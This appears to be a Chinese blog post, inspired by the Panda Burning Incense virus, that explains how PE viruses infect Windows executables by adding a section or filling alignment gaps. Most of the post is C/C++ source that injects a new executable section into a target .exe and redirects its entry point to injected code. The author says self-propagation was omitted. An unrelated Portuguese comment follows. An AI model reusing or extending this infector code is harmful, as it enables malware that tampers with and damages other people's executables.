前些日子风风光光的熊猫烧香病毒,看起来很牛逼,那个作者刚放出来还装B,说啥,他和他的朋友已经在国内是最顶尖的水平了,我都懒的说他了..算了,正好C#课设没事干,就写一个类似的,虽然可能功能上没他的齐全(毕竟人家靠这吃饭的~~),不过原理上是一样的哈
PE病毒其实很简单,只要了解PE结构就可以了,一般分为有节感染和无节感染
有节感染:就是给PE文件自己申请一个节,然后讲自己的病毒代码注入进去,然后修改程序的入口地址,转向自己的代码,完成后,在把控制权还给原程序,原理很简单,操作也不复杂(后面有代码为证)
无节感染:也很简单,原理是磁盘上放置的文件都是按照一簇(一般为200H)对齐的,不足的地方补0,我们就把自己的代码注入到这些“缝隙处”,然后和上面一样的操作,如下图
#include <windows.h> #include <iostream> #include<tlhelp32.h> #include<windows.h> using namespace std; #pragma data_seg(".mydat") //申请一个新的段 #pragma code_seg(".shell") #pragma const_seg(".constdata") #pragma comment(linker,"/SECTION:.mydat,RWE") //告诉编译器新的段 #pragma comment(linker,"/SECTION:.shell,RWE") #pragma comment(linker,"/SECTION:.constdata,RWE") #pragma comment(linker,"/MERGE:.mydat=.shell") //合并段 #pragma comment(linker,"/MERGE:.constdata=.shell") #define Recode _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax #define VA_END -2 DWORD GetProcessIdFromName(LPCTSTR name) ; void Fun2(); int Invoke(char*pDllName, char*pFunName, ...); typedef HINSTANCE (WINAPI *pLoadLibraryDef)(LPCTSTR); typedef DWORD (WINAPI *pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD); DWORD dwOldEntry = 0; void WINAPI Fun1() { __asm { PUSH 0x00333231 MOV EAX, ESP PUSH 0 PUSH 0 PUSH EAX PUSH 0 mov eax,0x77d5058a CALL eax ADD ESP, 4 } _asm { _EMIT 0xE9 _EMIT 0x83 _EMIT 0xB0 _EMIT 0xFF _EMIT 0xFF } } void End() { } int Align(int nSize, int n) { if(nSize % n) { int num = nSize / n; return (num + 1) * n; } return nSize; } #define DOS IMAGE_DOS_HEADER #define NT IMAGE_NT_HEADERS #define SEC IMAGE_SECTION_HEADER int main() { MessageBox(NULL,"123","1",NULL); DWORD dwCodeSize = (DWORD)End - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0; HANDLE hFile = CreateFile("c:\\Dialog.exe", GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); HANDLE hMapFile = CreateFileMapping(hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL); PVOID pFile = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL); IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew); IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT)); IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1]; IMAGE_SECTION_HEADER* stNewSec = &stSec[stNT->FileHeader.NumberOfSections]; DWORD dwFileAlign = stNT->OptionalHeader.FileAlignment; DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment; stNT->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1; //设置新的节属性 strcpy((char*)stNewSec->Name, ".CIW"); stNewSec->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE | IMAGE_SCN_CNT_CODE; stNewSec->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign); stNewSec->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData; stNewSec->SizeOfRawData = Align(dwCodeSize, dwFileAlign); stNewSec->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign); stNT->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize; stNT->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize; //移动文件指针(文件实际内容是分节存放的,在内存中是分页存放的) SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN); WriteFile(hFile, &dwOldEntry, stNewSec->Misc.VirtualSize, &dwSize, NULL); SetEndOfFile(hFile); dwOldEntry1 = stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase; SetFilePointer(hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN); WriteFile(hFile, &dwOldEntry1 , 4, &dwSize, NULL); stNT->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)Fun1 - (DWORD)&dwOldEntry; FlushViewOfFile(pFile, stNT->OptionalHeader.SizeOfHeaders); UnmapViewOfFile(pFile); CloseHandle(hMapFile); CloseHandle(hFile); return 0; }
注:目前代码只是一个不完整,为了控制破坏性,没有加上自传染,只是感染一个目标文件
2020年9月02日 20:23
Blog incrível. Eu gostei de ler seus artigos. Esta é realmente uma ótima leitura para mim. Eu marquei e estou ansioso para ler novos artigos.